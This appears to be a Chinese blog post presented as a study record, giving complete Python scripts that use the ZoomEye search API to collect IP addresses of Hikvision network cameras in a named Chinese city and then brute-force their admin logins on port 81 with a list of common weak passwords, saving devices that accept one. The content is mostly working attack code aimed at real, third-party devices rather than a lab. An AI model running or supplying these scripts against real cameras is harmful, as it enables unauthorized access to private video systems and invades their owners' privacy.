利用ZoomEye快速查找Hikvision网络摄像头

学习阶段的一次记录,时间久远,部分文字描述可能有误。

Step 1:利用搜索引擎批量发现网络摄像头

ZoomEye 正是一个检索网络空间节点的搜索引擎。能够通过设备类型、固件版本、分布地点、开放端口服务等信息进行主机发现,同样也可以使用Shodan进行搜索,ZoomEye目前侧重于Web层面的资产发现而Shodan则侧重于主机层面。
直接粘贴代码,需要动手的部分只有API参数的更改。在WEB页面进行搜索尝试,根据所查结果配置API参数。

#!/usr/bin/env python
# -*- coding: utf-8 -*-

"""
@version: ??
@author: hiro086
@contact: wangzw@nuaa.edu.cn
@file: spider_main.py
@time: 17/6/28 下午4:07
"""

import os
import requests
import json
import sys

access_token = ''
ip_list = []

def login():
    user = raw_input('[username]:')#email
    passwd = raw_input('[password]:')
    data = {
        'username':user,
        'password':passwd,
    }
    data_encoded = json.dumps(data)#dumps是将dict转化成str格式,loads是将str转化成dict格式。
    try:
        r = requests.post(url = 'https://api.zoomeye.org/user/login',data = data_encoded)
        r_decoded = json.loads(r.text)
        global  access_token
        access_token = r_decoded['access_token']

    except Exception:
        print '[info]:username or password is wrong'
        exit()

def savaStrToFile(file,str):
    with open(file,'w') as output:
        output.write(str)

def savaListToFile(file,list):
    s = '\n'.join(list)
    with open(file,'w') as output:
        output.write(s)


def apiTest():
    page = 1
    global access_token
    with open('access_token.txt','r') as input:
        access_token = input.read()
    headers = {'Authorization': unicode('JWT ' + access_token, "UTF-8"),} # 请求头以此来说明你有调用api的权限
    print headers
    while True:
        try:
            r = requests.get(url="https://api.zoomeye.org/host/search?query=app:Hikvision IP camera httpd port:80 country:China country:China city:Guiyang &page=" + str(page),headers = headers)
            r_decoded = json.loads(r.text)
            print
            for x in r_decoded['matches']:
                resStr = x['ip']
                 #         + ':' + str(x['portinfo']['port'])+ '\t' + '[geoinfo]:'  +\
                 # x['geoinfo']['city']['names']['en'] + ' ' + x['geoinfo']['country']['names']['en']+'\t' +\
                 # '[lat-lon]:' + str(x['geoinfo']['location']['lat']) +' '+ str(x['geoinfo']['location']['lon'])

                # 我在此保存的信息有点多,仅供参考,注意字典中键值的类型,json格式参考下图
                print resStr
                ip_list.append(resStr)
            print '[info]count' + str(page * 10) #每页10ip
        except Exception,e:
            if str(e.message) == 'matches':
                print '[info]:' + 'account was break, exceeding the max limitations'
                break
            else:
                print '[info]:' + str(e.message)
        else:
            if page == 50:
                break
            page += 1

def main():
    if not os.path.isfile('access_token.txt'):
        print '[info]:access_token file is not exist, please login'
        login()
        savaStrToFile('access_token.txt',access_token)
    apiTest()
    savaListToFile('ip_list1.txt',ip_list)

if __name__ == '__main__':
    main()

Step 2:提取IP信息

这部分比较简单,根据返回的信息提取IP

#!/usr/bin/env python
# encoding: utf-8

"""
@version: ??
@author: hiro086
@contact: wangzw@nuaa.edu.cn
@file: extract_msg.py
@time: 17/6/29 下午5:06
"""
import threading
import requests
import Queue
import sys
import re

def Threads():
    threadlist = []
    queue = Queue.Queue()
    for ip in open('result1.txt','r'):
        queue.put(ip.replace('\n',''))
    for x in range(0,10):
        th = threading.Thread(target=pri_lines,args=(queue,))
        threadlist.append(th)
    for t in threadlist:
        t.start()
    for t in threadlist:
        t.join()

def pri_lines(queue):
    while not queue.empty():
        lines = queue.get()
        try:
            lines = lines.strip()
            if lines.endswith(' 200'):
                print lines
        except:
            continue

if __name__ == '__main__':
    print "Extract message ..."
    Threads()

Step 3:测试弱命令

这里利用的是固有端口81,很简单的实现

#!/usr/bin/env python
# encoding: utf-8

"""
@version: ??
@author: hiro086
@contact: wangzw@nuaa.edu.cn
@file: weak_password.py
@time: 17/6/29 上午10:15
"""
import threading
import requests
import Queue
import sys
import re

password = ['admin','12345','123456','123456789','password','iloveyou','princess','rockyou','1234567','12345678','abc123','111111','superman']
def Threads():
    threadlist = []
    queue = Queue.Queue()
    for ip in open('ip_list1.txt','r'):
        queue.put(ip.replace('\n',''))
    for x in range(0,10):
        th = threading.Thread(target=scan_Hikvision,args=(queue,))
        threadlist.append(th)
    for t in threadlist:
        t.start()
    for t in threadlist:
        t.join()

def scan_Hikvision(queue):
    while not queue.empty():
        ip = queue.get()
        for passwd in password:
            try:
                print "[*]scan:"+ip
                r = requests.get(url=("http://%s:81/PSIA/System/deviceInfo" % ip),auth=('admin',passwd),
                                 timeout=20)
                print "[*]back:"+ip+' '+passwd+' '+str(r.status_code)
                if r.status_code == 200:
                    deviceName = re.findall(r'<deviceName>(.+?)<deviceName>',r.text)[0]
                    f = open('ok.txt','a+')
                    f.write("ip:%s deviceName:%s\n" % (ip,deviceName))
                    f.close()
                    break
            except:
                continue

if __name__ == '__main__':
    print "Running scan_Hikvision ..."
    Threads()
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 216,544评论 6 501
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 92,430评论 3 392
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 162,764评论 0 353
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 58,193评论 1 292
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 67,216评论 6 388
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 51,182评论 1 299
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 40,063评论 3 418
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,917评论 0 274
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 45,329评论 1 310
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,543评论 2 332
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,722评论 1 348
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,425评论 5 343
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 41,019评论 3 326
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,671评论 0 22
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,825评论 1 269
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 47,729评论 2 368
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,614评论 2 353

推荐阅读更多精彩内容

  • Spring Cloud为开发人员提供了快速构建分布式系统中一些常见模式的工具(例如配置管理,服务发现,断路器,智...
    卡卡罗2017阅读 134,652评论 18 139
  • 记录一下目前自己在用是一些适配代码! 移动端盒子布满全屏(老大给介绍的布局方法) 接下来记录自己遇到的坑 之前一段...
    Dream_whs阅读 321评论 0 0
  • 5月15日开始, 专职一件事。
    清V风阅读 112评论 0 0
  • 2017.2.22写作第18天 我的母亲,出生于上个世纪五十年代,1954年六月二十二,在她几岁的时候,经历了最为...
    80后女诸葛阅读 153评论 2 4
  • S小姐不知道如何控制自己大脑不去思考自己人生的意义。理想工作?梦中情人?这两样东西是她目前最想得到的。是不是得到了...
    Simona_JB阅读 221评论 0 0